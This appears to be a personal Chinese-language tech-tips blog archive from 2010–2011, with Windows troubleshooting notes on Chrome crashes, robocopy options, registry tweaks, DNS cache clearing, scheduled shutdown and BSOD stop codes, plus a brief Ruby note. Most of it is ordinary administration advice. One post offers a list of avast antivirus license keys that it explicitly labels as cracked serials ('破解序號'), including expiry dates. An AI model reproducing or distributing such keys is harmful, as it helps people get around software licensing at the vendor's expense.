按一下 [確定]。
在開啟的視窗中，將 Default 資料夾重新命名為 Backup。
請試著將 Backup 資料夾從 User Data 資料夾移到上一層的 Chrome 資料夾。
如果錯誤持續出現，請試著建立新的使用者設定檔來取代毀損的設定檔。
您是否安裝了 Internet Download Manager？
如果您已安裝 Internet Download Manager，請依序點選 [選項] [一般] 來停用「使用進階瀏覽器整合」。
檢查受保護的系統檔案是否出現問題。
依序按一下 [開始] 功能表 [執行]。
請輸入以下指令︰SFC.EXE /SCANNOW (請確定 SFC.EXE 與 /SCANNOW 中間有一個空格)。上述指令會啟動 Microsoft 的檢測公用程式，並針對電腦上受保護的系統檔案進行掃描，同時試圖修復問題。
請嘗試開啟「Google 瀏覽器」，看看錯誤訊息是否持續出現。
這樣應該就可以解決大部分Chrome當機的問題了。

變數、常數

2011-08-13T08:41:00.000-07:00

1-3 變數、常數

temp = 50 // temperature is 50
puts "Temp is: " + String(temp) //show Temp is: 50, 由於temp是數值，所以必須以String函數將它轉成字串後顯示，否則會出現錯誤提示

PI = 3.14159 //以大寫表示常數
radius = 10
area = radius*radius*PI
puts "Area is: #{area}" //若變數要在字串中出現，可加上 #{ } , 如同 String()

http://jjh.csie.ccut.edu.tw/?p=1205

rails new

2011-07-24T17:38:00.000-07:00

rails new 專案路徑 -d mysql

資料庫改為使用Mysql

http://pfeng.org/archives/49/

查詢系統開關機

2011-07-15T10:28:00.000-07:00

出處
http://www.dotblogs.com.tw/haohao200138/archive/2011/02/08/21269.aspx

今天因為老大要我查為啥工作排程裡的自動備份沒有啟動，原來是因為有人重啟OS但是沒用Domain Administrator登入電腦，因為工作排程裡的排程需要特定的帳號登入才行，除非你有設定不用。

查詢系統開關機

當系統出問題或者某些服務未正常啟動，造成第三方產品無法提供服務，此時第三方產品服務工程師連線查看會尋問是否有重新開機造成服務無啟動接著產品就無法提供服務；這時雙方都啞口無言也不知道何時有重開機或者是意外狀況下系統重開機。沒關係由系統來告知如何查詢系統何時開機或關機？

1.事件檢視器-系統尋找事件6006。

2.打開事件6006發現訊息為事件日誌服務已中止，表示機器已關機。

3.事件檢視器-系統尋找事件6005。

4.打開事件6005發現訊息為事件日誌服務已啟動，表示機器已開機。

把實體OS轉換為虛擬機器(VM)

2011-05-28T06:59:00.000-07:00

把實體OS轉換為虛擬機器(VM)-如何下載VMware Converter

VMware公司有個產品叫"VMware vCenter Converter"

它可以將實體機器轉換為虛擬OS，並在VM平台上執行(科技進步是好事，能少做事多點時間就是科技的正面效益)，

重點是免費!!(免費人人愛!)只需在官方網站上註冊即可下載，今天先告訴各位如何下載:

一、先到官方網站註冊並下載，連結在這裡，點選畫面左側的下載，會跳出下圖，

請在畫面右側"Register for your FREE download"，輸入自己的英文姓名與E-Mail，再點選Continue即可進行下一步。

如果已經有註冊該產品的可以點選下方的"Already have VMware account?"直接輸入MAIL和密碼即可。

二、註冊步驟，版權宣言(不是美國獨立宣言，那跟我們沒關係!)

勾選"I agree......................"，(我接受.....，以後大家就知道，不要隨隨便勾選有的沒的，哪天犯了重婚罪都不知道!)

接著點選"Register"到下一步吧!

三、阿咧??怎麼沒看到載點??難不成這是一個騙局??我知道大家都被詐騙集團嚇怕了~

頁面的意思是告訴你，已經將載點與相關訊息寄到你的信箱了，所以，去收信件吧!

四、檢查信箱，找到VMware寄出的Mail，裡頭請照它的指示去做吧!

請直接點選"Activate your VMware vCenter Converter Standalone download"，你將會被引領到天堂去....

五、完成下載吧!!

有兩個版本，一個是for windows，另一個是for Linux的，請下載for Windows版本

把實體OS轉換為虛擬機器(VM)-實際使用VMware Converter轉換

接下來，我們就準備進行安裝執行的動作囉~

一、有分LOCAL端以及CLIENT端，這次先介紹LOCAL的部分，CLIENT端則須要有支援網路的環境，安裝步驟就跳過了，沒甚麼好解釋的...@@

二、VMWare Converter的執行畫面，底下的說明欄位是可支援被Converter的系統列表:

三、可以直接使用精靈模式來一步步完成諸多設定，在Source type的部分選擇Powered-on machine(已開機的機器)，這次轉換目標是自己的XP系統，選好就NEXT吧!

四、第二步驟選定要轉換的格式與支援產品，以及有的沒的...

destination type:欲轉換為何種檔案格式
VMare product:VMware支援的產品，請注意版本，新的版本所建立的格式是無法向下相容的，例如:6.5建立的VM是無法在6.0上執行的~
Name:決定該VM機器的名稱，挑個自己記得的吧~
Choose location....:選擇要將VM存放的位置及路徑
設定好之後就NEXT吧~

五、第三步驟是更細項的設定，在這裡可以選擇VM的裝置設定與磁區的轉換細項，在這裡先點選左邊的Data to copy，因為只需要轉換主要的系統磁區，

所以在這邊只勾選C:，請記得要先把重要的資料備份，並減少硬碟所佔用的空間，以免到時因檔案過大無法消化，或是沒有足夠的空間可以容納。

六、點選左邊的Devices的部分，可以設定要給VM的處理器與記憶體，XP建議在256MB以上到512MB就足夠了。

七、Network & Services的部分保留不需做太多的變動，在Advanced options的部分勾選Install VMware tools，安裝完之後就能在實體桌面和虛擬機器之

間自由切換了，效能也才會提高。

八、第四個步驟就準備轉換啦!在Summary可以檢視目前VM的設定，沒意外的話，就點選Finish吧!

九、開始轉換了!這裡可以看到進度以及預估完成時間，可以去喝杯下午茶了~^^

十、這個下午茶時間大約是一小時左右不等，當進度表出現Completed，表示轉換已經完成，左下角是轉換狀態，右下角可以檢視轉換過程中執行的動作與LOG檔。

十一、經過漫長的設定與等待之後，使用VMware workstation 6.5開啟VM檔案，就可以順利開啟原來的CP系統啦!如果記憶體加大一點，執行改為全螢幕，就跟一般的XP沒啥兩樣了!很適合不想洗掉硬碟資料與常常更改測試系統環境的玩家使用!!

超強檔案複製指令robocopy

2011-04-07T12:26:00.000-07:00

Microsoft在Windows Server 2003 時，出了一個ResourceKit的Tools，裡面大約有126個命令。
在開始使用前，記得先到Microsoft官網下載ResourceKit(link here)，下載完成後，直按安裝下載回來的檔案，
安裝程式會自動將ResourceKit的資料夾加入Path環境變數，所以可以馬上使用。
(這個工具包，同時適用於Windows 2000 及 Windows XP 及後面Win32作業系統)

如果需求就是差異化備份，那常用的參數為：
robocopy 來源目的 /e /xo /purge
/copyall：等於/copy:datsou，表示將所有源資料夾的訊息複製到目標資料夾中，其中D：文件資料，A：文件內容，T：時間訊息，S：權限訊息，O：所有者訊息，U：稽核訊息。
/e ：代表複製子資料夾，含空的資料夾
/xo ：排除較舊的檔案，意思是來源端沒有比目的端新時，就不複製(差異化備份，很重要的參數)
/purge ：刪除來源中，不再存在的資料夾或檔案(這個也是差異化備份，很重要的參數)

/mir：等於/e 加上 /purge，差別是這指令會連已有的資料夾權限一起重新同步一遍，但/e 加上 /purge不會。

/SECFIX：修復所有檔的檔安全性，即使是跳過的文件。

同步(包含權限)
robocopy 來源目的 /mir /xo /copyall

後面列出完整的參數說明： (也可以用「robocopy /?」取得說明)

------------------------------------------------------------------------------
            Usage :: ROBOCOPY source destination [file [file]...] [options]
                  source 來源:: 原始目錄(驅動器:\路徑或\\伺服器\共用\路徑)。
              destination目錄:: 目標目錄(驅動器:\路徑或\\伺服器\共用\路徑)。
               file 文件:: 要複製的檔(名稱/萬用字元: 默認為 "*.*")。
------------------------------------------------------------------------------
複製選項:
------------------------------------------------------------------------------
               /S :: 複製子目錄，但不複製空的子目錄。
               /E :: 複製子目錄，包括空的子目錄。
           /LEV:n :: 僅複製原始目錄樹的前 n 層。
               /Z :: 在可重新開機模式下複製檔。
               /B :: 在備份模式下複製檔。
              /ZB :: 使用可重新開機模式；如果拒絕訪問，請使用備份模式。
          /EFSRAW :: 在 EFS RAW 模式下複製所有加密的檔。
    /COPY:複製標記:: 要複製的檔內容(預設為 /COPY:DAT)。
                     (複製標記: D=資料，A=屬性，T=時間戳記)。
                     (S=安全=NTFS ACL，O=所有者資訊，U=審核資訊)。
         /DCOPY:T :: 複製目錄時間戳記。
             /SEC :: 複製具有安全性的檔(等同於 /COPY:DATS)。
         /COPYALL :: 複製所有檔資訊(等同於 /COPY:DATSOU)。
          /NOCOPY :: 不複製任何檔資訊(與 /PURGE 一起使用生效)。
          /SECFIX :: 修復所有檔的檔安全性，即使是跳過的文件。
          /TIMFIX :: 修復所有檔的檔時間，即使是跳過的檔。
           /PURGE :: 刪除來源中不再存在的目的檔案/目錄。
             /MIR :: 鏡像目錄樹(等同於 /E 和 /PURGE)。
             /MOV :: 移動檔(複製後從源中刪除)。
            /MOVE :: 移動檔和目錄(複製後從源中刪除)。
   /A+:[RASHCNET] :: 將給定的屬性添加到複製檔。
   /A-:[RASHCNET] :: 從複製檔中刪除給定的屬性。
          /CREATE :: 僅創建目錄樹和長度為零的檔。
             /FAT :: 僅使用 8.3 FAT 檔案名創建目的檔案。
             /256 :: 關閉超長路徑(> 256 字元)支援。
           /MON:n :: 監視源；發現多於 n 個更改時再次運行。
           /MOT:m :: 監視源；如果更改，在 m 分鐘時間內再次運行。
    /RH:hhmm-hhmm :: 運行小時數 - 可以啟動新副本的時間。
              /PF :: 以每個檔(而不是每個步驟)為基礎檢查運行小時數。
           /IPG:n :: 套裝程式間的間距(ms)，以釋放低速線路上的頻寬。
------------------------------------------------------------------------------
檔選擇選項:
------------------------------------------------------------------------------
               /A :: 僅複製具有存檔屬性集的檔。
               /M :: 僅複製具有存檔屬性的檔並重置存檔屬性。
  /IA:[RASHCNETO] :: 僅包含具有任意給定屬性集的檔。
  /XA:[RASHCNETO] :: 排除具有任意給定屬性集的檔。
/XF 文件[文件]... :: 排除與給定名稱/路徑/萬用字元匹配的檔。
/XD 目錄[目錄]... :: 排除與給定名稱/路徑匹配的目錄。
              /XC :: 排除已更改的文件。
              /XN :: 排除較新的檔。
              /XO :: 排除較舊的文件。
              /XX :: 排除多餘的檔和目錄。
              /XL :: 排除孤立的檔和目錄。
              /IS :: 包含相同檔。
              /IT :: 包含已調整的檔。
           /MAX:n :: 最大的檔大小 - 排除大於 n 位元組的檔。
           /MIN:n :: 最小的檔大小 - 排除小於 n 位元組的檔。
        /MAXAGE:n :: 最長的檔存在時間 - 排除早於 n 天/日期的檔。
        /MINAGE:n :: 最短的檔存在時間 - 排除晚於 n 天/日期的檔。
        /MAXLAD:n :: 最大的最後訪問日期 - 排除自 n 以來未使用的檔。
        /MINLAD:n :: 最小的最後訪問日期 - 排除自 n 以來使用的檔。
                     (If n < 1900 then n = n days, else n = YYYYMMDD date)。
              /XJ :: 排除接合點。(預設情況下通常包括)。
             /FFT :: 假設 FAT 檔時間(2 秒細微性)。
             /DST :: 彌補 1 小時的 DST 時間差。
             /XJD :: 排除目錄的接合點。
             /XJF :: 排除文件的接合點。
------------------------------------------------------------------------------
重試選項:
------------------------------------------------------------------------------
             /R:n :: 失敗副本的重試次數: 默認為 1 百萬。
             /W:n :: 兩次重試間的等待時間: 默認為 30 秒。
             /REG :: 將註冊表中的 /R:n 和 /W:n 保存為默認設置。
             /TBD :: 等待定義共用名稱稱(重試錯誤 67)。
------------------------------------------------------------------------------
日誌記錄選項:
------------------------------------------------------------------------------
               /L :: 僅列出 - 不複製、添加時間戳記或刪除任何檔。
               /X :: 報告所有多餘的文件，而不只是選中的檔。
               /V :: 生成詳細輸出，同時顯示跳過的檔。
              /TS :: 在輸出中包含原始檔案的時間戳記。
              /FP :: 在輸出中包含檔的完整路徑名稱。
           /BYTES :: 以位元組列印大小。
              /NS :: 無大小 - 不記錄檔大小。
              /NC :: 無類別 - 不記錄檔類別。
             /NFL :: 無檔清單 - 不記錄檔案名。
             /NDL :: 無目錄清單 - 不記錄目錄名稱。
              /NP :: 無進度 - 不顯示已複製的百分比。
             /ETA :: 顯示複製檔的預期到達時間。
         /LOG:文件:: 將狀態輸出到日誌檔(覆蓋現有日誌)。
        /LOG+:文件:: 將狀態輸出到日誌檔(附加到現有日誌中)。
      /UNILOG:文件:: 以 UNICODE 方式將狀態輸出到日誌檔(覆蓋現有日誌)。
     /UNILOG+:文件:: 以 UNICODE 方式將狀態輸出到日誌檔(附加到現有日誌中)。
             /TEE :: 輸出到控制台視窗和日誌檔。
             /NJH :: 沒有作業標頭。
             /NJS :: 沒有作業摘要。
         /UNICODE :: 以 UNICODE 方式輸出狀態。
------------------------------------------------------------------------------
作業選項 :
------------------------------------------------------------------------------
     /JOB:作業名稱:: 從命名的作業檔中提取參數。
    /SAVE:作業名稱:: 將參數保存到命名的作業檔
            /QUIT :: 處理命令列後退出(以查看參數)。
            /NOSD :: 未指定原始目錄。
            /NODD :: 未指定目標目錄。
              /IF :: 包含以下檔。

參考
http://blog.db.idv.tw/2009/09/robocopy.html

桌面遺失無法進入系統

2010-12-23T16:21:00.000-08:00

桌面遺失無法進入系統

http://e3esw911.pixnet.net/blog/post/5384169

電腦症狀：
windows登入系統進入桌面前跳出警告視窗，提示explorer.exe啟動出錯
系統：?有找到browseui.dll因此這個應用程式未能啟動,重新安裝應用程式可能會修復此問題
無法進入系統桌面通通消失

解決方法：
1、找一台正常的電腦後，至 c:\windows\system32\ 搜尋 browseui.dll 檔案
2、將 browseui.dll 燒錄至光碟片或是磁片中，然後將此磁片放進損壞的電腦光碟機
3、按 ctrl+alt+del 叫出工作管理員( taskman.exe )
4、選擇工作管理員最上方【檔案】【新工作(執行)】後輸入 CMD 叫出命令提示字元
5、在命令提示字元裡輸入 copy x:\browseui.dll c:\windows\system32 (x為該光碟機或磁片槽的代號，如D、E或F類推)
6、複製成功後，接著輸入 regsvr32 browseui.dll
7、重新開機

win麥克風有聲音breeze麥克風沒聲音時

2010-12-11T11:11:00.000-08:00

請到
C:\Users\user_account\AppData\Roaming\Macromedia\Flash Player
把裡面清空即可

[莔][半天學習成果]DVD影片轉mkv快速小教學

2010-08-05T03:27:00.001-07:00

http://thosenight.blogspot.com/2009/04/dvdmkv.html

使用 EasyBCD 展開多重開機選單復活大作戰

2010-06-05T12:36:00.000-07:00

出處http://lasjargon.blogspot.com/2010/04/win7xp-win7xp.html

使用 EasyBCD 展開多重開機選單復活大作戰

step 01︰

XP開機完畢後，請在 XP底下安裝 EasyBCD (別忘了先安裝 .NET Framework 3.5 )，安裝完畢請開啟 EasyBCD 。

選擇〝Manage Bootloader〞

在〝Bootloader Installation Options〞中

選擇〝Reinstall the Vista Bootloader〞

最後按〝Write MBR〞按鈕

此步驟目的在於︰將 Win7 的MBR重新寫入，覆蓋 XP 的 MBR。

重新開機後，將自動進入原先的 Win7 系統。

step 02︰

重新開機後，變成自動進入 Win7 系統，一樣在 Win7 底下安裝 EasyBCD，安裝完畢請開啟 EasyBCD 。

選擇〝Add/Remove Entries〞

在〝Add an Entry〞中，

系統類型(Type)請選擇〝Windows NT/2k/XP/2k3〞

名稱(Name)請填入你自己想要修改之選單名稱

按下〝Add Entry〞來新增XP的選單項目

最後請按下〝Save〞

此步驟的目的為︰將XP系統加入多重開機的選單之中。

以上，便可完成多重開機選單了，雖然過程有點冗長，但一來可保全 Win7 系統，二來可新增 XP 系統，而且不用打回原型重頭來過，不失為一個好辦法呀！

Windows 7 自動化安裝套件 (AIK)正式版

2010-06-04T17:37:00.001-07:00

: Windows® 7 的 Windows® 自動化安裝套件 (AIK)

群組原則編輯器

2010-06-02T16:14:00.000-07:00

gpedit.msc

下載mms

2010-06-01T05:32:00.000-07:00

用下載軟體把mms改成rtsp

關閉智能窗口排列

2010-05-21T07:27:00.001-07:00

關閉智能窗口排列
如果用戶不喜歡Windows 7的新功能去智能的排列用戶的窗口的話，這裡有個簡單的方法去關閉它。按WIN 輸入regedit，找到 HKEY_CURRENT_USER\Control Panel\Desktop 然後將WindowArrangementActive的值改成0. 重啟之後智能排列窗口就被關閉了。

Exchange Server 2003 版本比較

2010-05-13T17:05:00.000-07:00

Exchange 2003 有兩種版本：標準版和企業版。

兩個版本均提供的功能：

網路壓縮
內含 Microsoft Operations Manager 的 Exchange 2003 Management Pack (需搭配 Microsoft Operations Manager 使用)
內建行動裝置支援
磁碟區陰影複製服務
可以設定為 Microsoft Outlook Web Access、郵局通訊協定第 3 版 (POP3)、網際網路訊息存取通訊協定 (IMAP) 和簡易郵件傳送通訊協定 (SMTP) 的前端伺服器。
復原儲存群組

功能	標準版	企業版
儲存群組支援	1 個儲存群組	4 個儲存群組
每一儲存群組的資料庫數量	2 個資料庫	5 個資料庫
個別資料庫的大小	16 GB	最大為 16 TB，僅受硬體容量限制
Exchange 伺服器叢集	不支援	支援
X.400 連接器	不包含	包含

資料來源：

http://www.microsoft.com/taiwan/exchange/evaluation/compare/editions.htm

隨身碟有防寫保護程式要如何解除

2010-05-13T06:03:00.000-07:00

隨身碟無法寫入:

步驟如下:

那是您自己的電腦有作了不讓資料寫入USB隨身碟的設定
當隨身碟有寫入動作時，出現『因磁片有防寫保護而無法寫入該磁片。請將磁碟中的磁碟區E:之防寫保護移除。』這樣的句子，無法動作。
這也造成您的隨身碟裡隱藏檔autorun.inf、 ntdelect.com無法刪除。
請檢查登錄檔設定
開始→執行→在開啟輸入regedit→確定，開啟登錄編輯程式
到下列路徑
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control下
展開Control尋找名為「StorageDevicePolicies」的機碼
在右邊欄位有一個 DWORD值的名稱設為「WriteProtect」
去修改數值資料為? 0

或者把這個「StorageDevicePolicies」機碼刪除

修改完後，要重新開機讓登錄值生效。

開機後，仍要去清除隨身碟 E槽，的隱藏檔autorun.inf、ntdelect.com

免費防毒avast! 2010中文 avast 破解序號

2010-05-07T11:32:00.000-07:00

官方版網址http://www.avast.com/eng/download-avast-home.html

W3580290R8800A1106-ZK7ZYY07

W5360069R8800D1106-7E4KYZZZ

W0269173R8800N1106-3E42D3RC

W0203851R9900D1199-JCKVHSPH

W0445065R9900D1199-N185WXHW

W5030152R9900D1199-XR5H287K

W4164266R9900D1199-9ZN2S5J4

另一組(破解解碼) S9765076R7956Y1106-THKLJP10 有效期2011.12.1升級有效期2011.8.1

Vista及Windows 7專用系統調整工具【Ultimate Windows Tweaker】附繁體中文對照表

2010-05-07T11:20:00.000-07:00

http://steachs.com/archives/839

將桌面轉到D槽

2010-05-06T09:50:00.000-07:00

出處http://w-type.blogspot.com/2009/03/d.html

將桌面轉到D槽

目前轉換電腦使用者桌面, 改放到D, 方便管理

記得先將桌面(c:\document and setting\使用者\桌面, 複製到D槽)

1. 執行 regedit

2. 到

HKEY_CURRENT_USER->Software->Microsoft->Windows->CurrentVersion->Explorer->User Shell Folders

3. 到 desktop, 修改成 D:\桌面

4. OK

在Windows作業系統下使用造字程式

2010-05-04T13:06:00.000-07:00

出處

http://ec5.any.com.tw/adenweb/service/public/makeword.html

在Windows XP作業系統下使用造字程式

A：因XP有提供萬用字(unicode)，但在公司的軟體下只可使用 Chinese big5，故需
　使用造字的方式來解決。操作步驟如下：

　　 1.「開始」→「程式集」→「附屬應用程式」→「True Type造字程式」→用
　　　游標點選一個空白字碼（假設FA41）後再按→「確定鈕」。

　　 2.進入編輯模式後選擇「字元集」為「Chinese Big5」。

　　　3.點選「編輯」→ 「複製字元」功能，進入「複製字元」視窗。
　　　　在「形狀(S)」欄輸入要造的字（以「」字為例）後按「確定」鈕。

　　　4.回到造字功能，將該字登錄到輸入法中。點選「編輯」→「輸入法連結」
　　　　功能，進入「輸入法連結」視窗。

　　　　在「輸入法連結」視窗中，輸入該字的字根後再按「 Enter」鍵，最後按
　　　　「錄(R) 」鍵即完成設定。

　　　　例如：要讓注音輸入法能夠打出「」字，就在「注音」欄輸入「」
　　　　　　　的注音拼法「ㄎㄨㄣ」後按「Enter」鍵，最後按「登錄(R) 」鍵
　　　　　　　即可。要使用倉頡輸入法就輸入倉頡的字根。

　　　5.如果要造的字在記事本中仍然無法輸入（假設「」字），這時的操作
　　　　步驟如下：

　　　　A.到「True Type造字程式」→先選擇一個字碼後並按「確定」鈕，進入
　　　　　編輯模式→選擇「字元集」為「Chinese Big5」→點選「視窗 (W)」
　　　　　項的「參照(R)…」功能。

　　　　B.在「參照」視窗中，請在「形狀(S)」欄先輸入一個相似的字後再按「
　　　　　確定」回到造字程式中。

　　　　　例如：要拷貝「」這個字右邊的「宣」部，就先在「形狀(S)」欄
　　　　　　　　輸入有「宣」部的字，例如「渲」。

　　　　C.將所要的部份貼到編輯區中。
　　　　　「參照」功能中所輸入的「渲」字會出現在「編輯」視窗旁，請把右邊
　　　　　「宣」部用滑鼠選取，再點選「編輯」→「複製」功能。
　　　　　　滑鼠再點在編輯區上，再點選「編輯」→「貼上」。

　　　　D.重覆Ｂ的步驟，將旁邊的「火」字貼到「編輯」欄上。

　　　　E.造字完成後將該字登錄到輸入法中。點選「編輯」→「輸入法連結」
　　　　　（請輸入注音或其他輸入法的拼法並登錄）→關閉造字程式->完成。

　　　　　在「輸入法連結」功能中，輸入該字的字根後再按最後按「登錄(R)」
　　　　　鍵即完成設定。

執行程式出現"沒有磁片"

2010-05-04T06:13:00.000-07:00

如有以上內容問題

按開始→執行
打入"regedit"
按下確定後會跳出註冊表編輯器
逐漸展開到

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows

然後到ErrorMode這個Dword值點兩下
就會出現編輯DWORD
預設為0
將0改為2就好。

清除 DNS Cache 記錄

2010-04-23T07:18:00.000-07:00

指令語法如下：

清除 ARP 快取
arp -d *

清除 NetBIOS 快取
nbtstat -R

清除 DNS 快取
ipconfig /flushdns

以 WINS 重新登錄
nbtstat -RR

以 DNS 重新登錄
ipconfig /registerdns

重要事項

‧ Repair 會使用廣播更新，並使電腦接受來自網路上任何 DHCP 伺服器的租用動作。相反的，單點傳播更新 (ipconfig /renew) 就只會更新來自用戶端取得租約的最後一個 DHCP 伺服器的現有租約。

定時關機

2010-04-12T02:35:00.000-07:00

其實這是由 at 和 shutdown 這兩個指令所構成的
at 是用來設定 shutdown 指令的執行時間

基本的用法是:
at 時間指令該指令的參數

所以 at 1:30 shutdown -s -f -t 10
就是 "在 1:30 的時候執行 shutdown 指令, shutdown 指令的參數是: -s -f -t 10"

您可以 "開始" → "執行" → cmd
出現命令視窗後, 輸入 at 1:30 shutdown -s -f -t 10 來設定在 1:30 關機; 輸入 at /? 可查詢 at 指令的使用方法; shutdown /? 可查詢 shutdown 指令的使用方法

　　-f：強行關閉應用程式

　　-m ＼＼電腦名：控制遠程電腦

　　-i：顯示圖形用戶界面，但必須是Shutdown的第一個選項

　　-l：註銷當前用戶

　　-r：關機並重啟

　　-t時間：設置關機倒計時

　　-c "消息內容"：輸入關機對話方塊中的消息內容(不能超127個字符)

您可以開啟 Windows 的說明視窗, 輸入 at 或 shutdown 來查詢更詳細的指令說明 :)

Windows 2K/XP “藍底白字畫面” 全攻略

2010-04-06T09:27:00.001-07:00

NT核心的操作系統採用的是分層結構(層又稱為模式), 主要有使用者層(User Mode)和核心層(Kernel Mode), 我們可以通過下面這個形象的比喻來理解Windows的執行規範和”藍底白字畫面”起因.
│ 產品製造工廠: 整個電腦(包含操作系統、硬體和軟體)
│ 廠領導: 核心層
│ 生產小組: 使用者層(軟體、驅動程式)
│ 值班員: Dr.Watson
│ 保衛員: KeDugCheck

平時產品製造廠執行得有序而高效, 每個生產小組加班加點製造各種用途的產品, 工廠裡有個極為嚴格的規定, 那就是不管要用什麼裝配零件, 都必須經過直接控制所有零件的廠領導(具有高特許級別, 可以直接訪問所歐硬體和記憶體)的批准, 之後才能到倉庫中提取相應零件, 而生產小組只負責生產(只擁有較低權限, 不能直接訪問硬體和有限地利用記憶體).
有一天, A生產小組沒有經過廠領導批准, 偷偷跑到倉庫裡面想拿一個裝配零件, 但馬上被年年被評為先進的值班員Dr.Watson發現了, 於是Dr.Watson理解通知廠領導, 這個生產小組的工作馬上被停止, 而且還在廠宣傳欄上貼出一個告示:XXX生產小組出現了錯誤, 廠領導決定馬上將其關閉、整頓, 並會產生記錄在案, 以觀後效.
但A生產小組的錯誤似乎沒有引起大家的注意, 一天, D生產小組居然闖入倉庫哄搶裝配零件, 為了防止零件資源失控, 產生更嚴重的混亂, 廠領導立即決定停止整個工廠的工作, 並命令保衛科對所有生長小組進行全面檢查, 保衛科在檢查後為廠領導提交了一份用藍色紙寫的報告, 這個報告主要分成三部分:故障資訊、建議操作、調整端口資訊.

1.故障檢查資訊
***STOP 0×0000001E(0xC0000005,0xFDE38AF9,0×0000001,0×7E8B0EB4)
KMODE_EXCEPTION_NOT_HANDLED ***
其中錯誤的第一部分是停止碼(Stop Code)也就是STOP 0×0000001E, 用於識別已發生錯誤的類型, 錯誤第二部分是被括號括起來的四個數字集, 表示隨機的開發人員定義的參數(這個參數對於普通使用者根本無法理解, 只有驅動程式編寫者或者微軟操作系統的開發人員才懂). 第三部分是錯誤名. 資訊第一行通常用來識別生產錯誤的驅動程式或者設備. 這種資訊多數很簡潔, 但停止碼可以作為搜尋項在微軟知識庫和其他技術資料中使用.

2.建議操作
“藍底白字畫面”第二部分是建議使用者進行的操作資訊. 有時, 建議的操作僅僅是一般性的建議(比如: 到銷售商網站查找BIOS的更新等); 有時, 也就是顯示一條與當前問題相關的提示. 一般來說, 惟一的建議就是重新啟動.

3.調整端口告訴使用者記憶體轉儲映像是否寫到磁碟商了, 使用記憶體轉儲映像可以確定發生問題的性質, 還會告訴使用者調整資訊是否被傳到另一台電腦商, 以及使用了什麼端口完成這次通訊. 不過, 這裡的資訊對於普通使用者來說, 沒有什麼意義.

有時保衛科可以順利的查到是哪個生產小組的問題, 會在第一部分明確報告是哪個檔案犯的錯, 但常常它也只能查個大概範圍, 而無法明確指明問題所在. 由於工廠全面被迫停止, 只有重新整頓開工, 有時, 那個生產小組會意識到錯誤 , 不再重犯. 但有時仍然會試圖哄搶零件, 於是廠領導不得不重複停工決定(不能啟動並顯示”藍底白字畫面”資訊, 或在進行相同操作時再次出現”藍底白字畫面”).
經典”藍底白字畫面”案意義破解

┌─┐
│ 1│
└─┘0×0000000A:IRQL_NOT_LESS_OR_EQUAL
◆錯誤分析:主要是由問題的驅動程式、有缺陷或不相容的硬體與軟體造成的. 從技術角度講. 表明在核心模式中存在以太高的進程內部請求級別(IRQL)訪問其沒有權限訪問的記憶體地址.
◇解決方案:請用前面介紹的解決方案中的2、3、5、8、9方案嘗試排除.

┌─┐
│ 2│
└─┘0×00000012:TRAP_CAUSE_UNKNOWN
◆錯誤分析:如果遇到這個錯誤資訊, 那麼很不幸, 應為KeBudCheck分析的結果是錯誤原因未知.
◇解決方案:既然微軟都幫不上忙, 就得*自己了, 請仔細回想這個錯誤是什麼時候出現的; 第一次發生時你對系統做了哪些操作; 發生時正在進行什麼操作. 從這些資訊中找出可能的原因, 從而選擇相應解決方案嘗試排除.

┌─┐
│ 3│
└─┘0×0000001A:MEMORY_MANAGEMENT
◆錯誤分析:這個記憶體管理錯誤往往是由硬體引起的, 比如: 新安裝的硬體、記憶體本身有問題等.
◇解決方案:如果是在安裝Windows時出現, 有可能是由於你的電腦達不到安裝Windows的最小記憶體和磁碟要求.

┌─┐
│ 4│
└─┘0×0000001E:KMODE_EXCEPTION_NOT_HANDLED
◆錯誤分析:Windows核心檢查到一個非法或者未知的進程指令, 這個停止碼一般是由問題的記憶體或是與前面0×0000000A相似的原因造成的.
◇解決方案:
(1)硬體相容有問題:請對照前面提到的最新硬體相容性列表, 查看所有硬體是否包含在該列表中.
(2)有問題的設備驅動、系統服務或記憶體衝突和中斷衝突: 如果在”藍底白字畫面”資訊中出現了驅動程式的名字, 請試著在安裝模式或者故障恢復控制台中禁用或刪除驅動程式, 並禁用所有剛安裝的驅動和軟體. 如果錯誤出現在系統啟動過程中, 請進入安全模式, 將”藍底白字畫面”資訊中所標明的檔案重命名或者刪除.
(3)如果錯誤資訊中明確指出Win32K.sys: 很有可能是第三方遠程控制軟體造成的, 需要從故障恢復控制台中將對該軟體的服務關閉.
(4)在安裝Windows後第一次重新啟動時出現:最大嫌疑可能時系統分區的磁碟空間不足或BIOS相容有問題.
(5)如果是在關閉某個軟體時出現的:很有可能時軟體本身存在設計缺陷, 請升級或反安裝它.

┌─┐
│ 5│0×00000023:FAT_FILE_SYSTEM
└─┘0×00000024:NTFS_FILE_SYSTEM
◆錯誤分析:0×00000023通常發生在讀寫FAT16或者FAT32檔案系統的系統分區時, 而0×00000024則是由於NTFS.sys檔案出現錯誤(這個驅動檔案的作用是容許系統讀寫使用NTFS檔案系統的磁碟). 這兩個”藍底白字畫面”錯誤很有可能是磁碟本身存在物理損壞, 或是中斷要求封包(IRP)損壞而導致的. 其他原因還包括:硬盤磁碟碎片過多; 檔案讀寫操作過於頻繁, 並且數據量非常達或者是由於一些磁碟鏡像軟體或殺毒軟體引起的.
◇解決方案:
第一步:首先打開 DOS 視窗, 執行”Chkdsk /r”(注:不是CHKDISK, 感覺像這個, 但是……)命令檢查並修復硬盤錯誤, 如果報告存在懷道(Bad Track), 請使用硬盤廠商提供的檢查工具進行檢查和修復.
第二步:接著禁用所有即使掃瞄檔案的軟體, 比如:殺毒軟體、防火牆或備份工具.
第三步:滑鼠右鍵點選 C:winntsystem32driversfastfat.sys 檔案並選擇”屬性”, 查看其版本是否與當前系統所使用的Windows版本相符.(注:如果是XP, 應該是C:windowssystem32driversfastfat.sys)
第四步:安裝最新的主板驅動程式, 特別IDE驅動. 如果你的光驅、可移動存儲器也提供有驅動程式, 最好將它們升級至最新版.

┌─┐
│ 6│
└─┘0×00000027:RDR_FILE_SYSTEM
◆錯誤分析:這個錯誤產生的原因很難判斷, 不過Windows記憶體管理出了問題很可能會導致這個停止碼的出現.
◇解決方案:如果是記憶體管理的緣故, 通常增加記憶體會解決問題.

┌─┐
│ 7│
└─┘0×0000002E:DATA_BUS_ERROR
◆錯誤分析:系統記憶體存儲器奇偶校驗產生錯誤, 通常是因為有缺陷的記憶體(包括物理記憶體、L2 CACHE或者顯示卡記憶體)時設備驅動程式訪問不存在的記憶體地址等原因引起的. 另外, 硬盤被病毒或者其他問題所損傷, 以出現這個停止碼.
◇解決方案:
(1)檢查病毒
